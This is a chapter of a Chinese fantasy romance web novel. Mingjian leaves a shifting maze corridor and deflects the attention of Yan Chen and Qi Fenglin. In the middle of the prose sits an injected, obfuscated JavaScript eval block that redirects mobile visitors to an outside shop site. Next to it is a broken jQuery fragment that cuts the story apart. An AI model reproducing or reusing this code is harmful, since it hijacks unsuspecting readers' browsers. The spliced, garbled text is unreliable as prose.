这一轮的回转已经错过,鸣涧被隔在这一方天地中。
初次见面,怎是在这九曲回廊?
雕梁画柱错落分布,将周遭被困弟子的身影层层遮挡,不可明辨。鸟雀在当中穿行,振翅扑棱间飘落的碎羽载着弟子们的闲谈,好似直接刺挠进耳中。
鸣涧抬手轻轻按了按耳根,这才缓解。晏沉这会旧事重提,她却仍然想不起。
“那日你走得匆忙,落下了一本书册。”
他话音未落,鸣涧已觉得眼皮跳了起来,九曲回廊,书册,落下……这些关键的字眼拼在了一起,鸣涧心中突然跳出一个答案。
即使心存侥幸,那日的情景已自顾自涌入灵识当中,这一谜题的正解就析出了。
某日,弟子散学挤在此处,好似牛马成群出栏,她专注拼抢身位,大师姐给的话本子都被挤掉了。好在马上发觉,立即返回去找,却已被一陌生人捡了起来。
她连面容都没看清,又因话本子书名情节显然暧昧,不敢直视来人。略抬头扫了一眼,就迅疾地逃走了。
鸣涧觑了一眼晏沉的下巴,暗自对比起残存记忆中的弧度走向。她那时仅是一瞥而过,此时却都毫厘毕见。
他唇角笑意轻敛,一点都不加掩饰。她还未校对完线条差异,晏沉已出声提醒道:“《清冷道长......”
忽然“嘎”的一声怪叫,大约是有什么怪鸟飞过,将他的话头截断了。
晏沉很识趣地没有继续说下去。看样子是想起来了。
鸣涧算是又体验了一回灵识震荡。
果然是,大师姐给她话本子的那天。
鸣涧深吸一口气平复下来,好像刚才那一声怪叫不是她发出来的。“没和你打招呼,所以你报复我。”冷静组织语言将焦点转移。他一句提前交付,可是闹出各种麻烦事。
晏沉颔首:“确实,那可是犯了天条了。”
鸣涧拉下脸来:“哪一条?”
晏沉不再同她玩笑:“若是因此徇私,那才真是犯了天条。”他轻笑揭过,“碰巧而已。”
想起那日鸣涧飞窜远去的身影,他接着问道:“你如何算得这般快。”
九曲回廊的变化有数千种,为考验弟子应变解阵之能而设。这是在数万年前由纵横部和机要部的神尊共建,集二者之大成,就连各部主策都无法触及构建核心。
晏沉本就在纵横部修习,从军后主业不离其宗,精于此道,也不及鸣涧那日解阵的速度。
他心中有所猜想。
这大约是她的血脉天赋。
鸣涧自是品出他意味,却避开了他的探究,只道天工机巧是机要部弟子吃饭的本事,他如何比得了。
她话带牵引,避开了自身天赋,只谈机关原理。可这机杼变化万千,背后潜藏的数理之要,又哪里是寻常神族能了解的。
“怎么样,我是个有价值的对手吗。”她故意屈伏些许,还偏过脑袋瞧他,似要将他的深意凿出来看看。
鸣涧这一身弟子袍服与他人并无不同,神色坦荡。晏沉看在眼里,勉力压住嘴角。她听课是认真的,他讲课时刚谈到,当即就用上了。
这一脸得意的模样,将她的秘密好生隐藏,哪能问出一点旁的门道。
想要了解她很多,真是困难的事。
“是。”晏沉败下阵来,先将视线转向了别处,“你是很有价值的对手。”
这转眼的功夫,调转的时段已至。趁着下一个变换开始,鸣涧径自算好方位前行。她算得快,步子迈得也果决,自是未瞧见,被甩在身后的晏沉并未跟上。
他面色无异,只是那笑意滞住,倒流成些许涩意,只好随着一声轻叹卸了劲。
怎就失了果断,让那家伙都跑远了。
不过是想问问她,那彩墨可得她心意。
这挫败并未让他长久困扰。趁着转折处尚未嵌合,他踩着最后一步,赶上这轮调转,已然追了上去。
这段路明明只剩下数十步,鸣涧加快脚步,却如何都走不到尽头,身后甩不掉的踏步声让她更加紧张。
她埋头前行,不敢回过去看,差点撞上面前这人。
原来是路双一。他分明落后,此时却率先到了出口。鸣涧心下推算一番,却得不出路双一这省时省力的路径。
这胖朱雀的时间天赋到底是如何运作的,难不成要越过白虎族的规则之外。这般想着,她不服气地皱了皱鼻子。
而路双一原本笑嘻嘻的面孔一下子皱起来,恨铁不成钢道:“怎么抄作业呢!”
鸣涧一惊,不知路主策为何突然语带指责,像是冲着自己这边来的。
只见路双一又扬了扬脑袋,带着杀气的眼刀越过她肩头,向后刺去,这才回头一看,原来身后跟了一串弟子。
他们原本都是被困当中,好不容易照搬鸣涧的步法路径,舞龙灯似的拖了一长条,紧赶慢赶终于到达出口。
方才慌张间听到的脚步声并非臆想。鸣涧长舒一口气,砰砰跃动的心口受到安抚。
赶着本轮调转最末的一刻,晏沉这才行出,身后的通路伴随着铮声,闷地合上,又成了一条死路。
见路双一瞪成了环眼,晏沉随便找了个借口,宽慰道:“怪我拖堂。”
路双一固然生气,但有晏沉这般说项,细细看来其中也混了些其余各部的弟子,法不责众,只得作罢。
纠集成众的弟子们原本还有些惊惶,见势连忙行礼致歉,谢过师长,立刻四下逃窜。
路双一暂且放过这些难搞的学生,刚刚不过借题发挥唬一唬他们罢了。他此时心情畅快,左瞧右看,嘴都咧上天。
一边是中意的弟子,一边是主动送上门的好讲师,他这为人师表的事业越做越红火了。
这就张罗着要一道去饭堂,路双一拍了拍胸口:“本主策请客!”
鸣涧不自觉地将衣袖攥紧。学府袍服的袖口宽大,但设了系带可随时将袖口束起,便于行动。不听话的食指将这带子缠绕了几圈又松开,反着又来几回。
绷地一声,那带子禁不住缠绕,断在了她的手指上。
晏沉正和路双一说着话,不知在谈些什么,听见这声音看将过来,似乎低低笑了声,听不真切。
鸣涧急急迈出步子:“我有事先走了。”
回廊之上,她不过被困住半刻钟,所立之处开阔敞亮,偏偏是个隔断的廊道。
她飞奔着逃离,看似果断,可骗不过自己内心所想。
忽地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738256|204045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想起在元质部上课的情景。拿到手的原矿还没有小指甲盖大,烧制又有损耗,提炼所得更是同米粒一般。
敲打碾磨之下,却是不断延展,远远超出她的预期。
她记录了各类矿石的延展比例,多次调制才得缎带般薄韧的构件,可谓小成。偏在首尾结环时失手,翻转间接错了面。
这般扭曲之下,最终得到一个有趣的成品,旋而环之,其面惟一,终始相生。
那隔断之处的半刻钟如同米粒大,却被她反复碾磨,延展,结环,最终陷入了自己亲手打造的循环中。
这段时空当中,相引之力多过相斥,是她自己不愿意走出来。
好在,她脱身的速度够快,足以逃逸。
鸣涧光顾着埋头冲刺,没想到差点又撞上一人,她急忙踩实脚下。抬头一看,是齐凤麟笑嘻嘻一张脸。
她是和纵横部八字不合吗,怎么总在这翻车?
“好巧。”齐凤麟一排银牙十分显眼。
鸣涧后退的步子刚迈出,他却又贴近了一步。
这时才觉着奇怪,齐凤麟虽活跃了些,但一直还算守礼,他毫不掩饰自己的好感,往来间也从未逾矩。这实在不像他的作风。
鸣涧不打算理会,准备绕开他继续前行,不曾想他干脆又横向一步,这回是故意拦住了她的去路。
她隐隐觉得不对劲,又哪里能推测出齐凤麟异样的来源。
齐凤麟寻来纵横部,已是散学时分,碰上回廊调转将他挡在了外头,等了一阵子,鸣涧同路双一和晏沉一道出来。
他隐约松了一口气,却马上又提了上来。
鸣涧应是将衣袖上的带子扯断了,连着手上动作一顿,同他们说了些什么就往外跑。
齐凤麟却无法忽视晏沉追去的目光。那衣袖的带子分明没有断,平静无波的湖面,莫名漾开一道涟漪拉成了银线,缠绕一匝又一匝。
回想起过去这阵子心头隐忧,他瞬时紧绷了起来。
他和鸣涧儿时相识,却因缘际会数百年未再往来。重逢的第一面,就和晏沉有关。
晏沉不顾巡天卫监察,前来衡天府赴宴。他承认自己急于立功,照着涉贿的罪名往晏沉头上套,是为了让风头正盛的天合军难受一把。
鸣涧突然跳出来,算准他倒果为因,没有证据,又利用换防时限,半戳穿半胁迫地将这事揭过。
可晏沉却又主动提起了重审核查。
虽然这事让齐凤麟难受了几分,但他敢作敢当,不会为此懊恼。只是,他本以为晏沉此举是为反制巡天卫。
如今贯星铳核查无误,从根源上清除了涉贿之嫌。弄出这么大动静,只是为来衡天府兼任讲师吗?
齐凤麟干脆拦住鸣涧去路,步步紧迫,眼中满是期冀。
“鸣涧,我有话想对你说。”齐凤麟一字一字地往外蹦。
他留意后方动静,果然一阵脚步急急赶来,一击落在他的脑后,锐痛传来。
“什么话,也说给我听听?”齐牧风一记扇子敲到大侄子脑袋上,恨铁不成钢道。
晏沉仍同路双一站在一处,遥望过来,目光中已看不到任何波动。
路双一双手猛拍大腿:“齐牧风怎么这般碍事。”